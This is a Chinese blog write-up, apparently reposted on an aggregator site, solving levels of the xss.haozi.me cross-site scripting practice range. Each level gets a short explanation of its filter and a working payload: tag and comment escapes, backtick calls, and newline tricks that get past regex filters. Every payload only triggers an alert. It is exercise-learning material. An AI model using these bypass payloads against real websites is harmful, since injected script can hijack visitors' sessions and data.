xss练习闯关

Posted xixi3

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了xss练习闯关相关的知识,希望对你有一定的参考价值。

https://xss.haozi.me/

0x00

无任何限制

payload如下:

<script>alert("liuxixi")</script>

技术图片

 0x01

先输入xxx发现就存在于<textarea></textarea>之前显示,那么我们需要把前后进行闭合,最后才会显示我们输入的内容。

payload如下:

</textarea><script>alert("liuxixi1")</script><textarea>

技术图片

 

 

 0x02

先输入xxx发现输的内容在双引号内,发现前面有三个双引号,那么肯定是没有闭合。

技术图片

 构造payload。闭合前面的双引号,这里需要注意的是input前面的   <  也要闭合。

payload如下:

"><script>alert("liuxixi2")</script><"

技术图片

 

0x03

查看后端代码,发现过滤了(),那么我们同样可以用反引号来代替()就行了

技术图片

 payload如下:

<script>alert`liuxixi3`</script>

 技术图片

 0x05

同样的方法,输入xxx发现输入内容存在于<!--  -->之间,那么我们还是将前后进行闭合,最终显示我们输入的内容。

技术图片

 

 

payload如下:

--!><script>alert("liuxixi5")</script><--

技术图片

 0x06

我们输入前面任意一个payload,发现   >  会变成  _  符号。

查看后端代码发现,过滤了以auto开头或者on开头,=等号结尾的标签属性并替换成_,且忽略大小写,虽然看起来好像无解了。但是这里我们可以通过换行来绕过正则的检查。

我这里用的onmousemove,意思是当鼠标移动时进行触发弹窗显示。

payload如下:

onmousemove
=alert("liuxixi6")

技术图片

 0x08

技术图片

 

 

首先我们一看页面就是肯定要闭合掉<style>标签。那么我们试一下

技术图片

 

 从上图看到我们闭合的</style>标签被注释掉了,说明被过滤掉了。

那么我们只能通过换行绕过正则。

payload如下:

</style
><script>alert("liuxixi8")</script>

 

技术图片

 

以上是关于xss练习闯关的主要内容,如果未能解决你的问题,请参考以下文章

XSS闯关挑战

buuctf 刷题记录 [第二章 web进阶]XSS闯关

XSS闯关之第四关

XSS闯关之第五关

XSS闯关之第三关

XSS闯关日记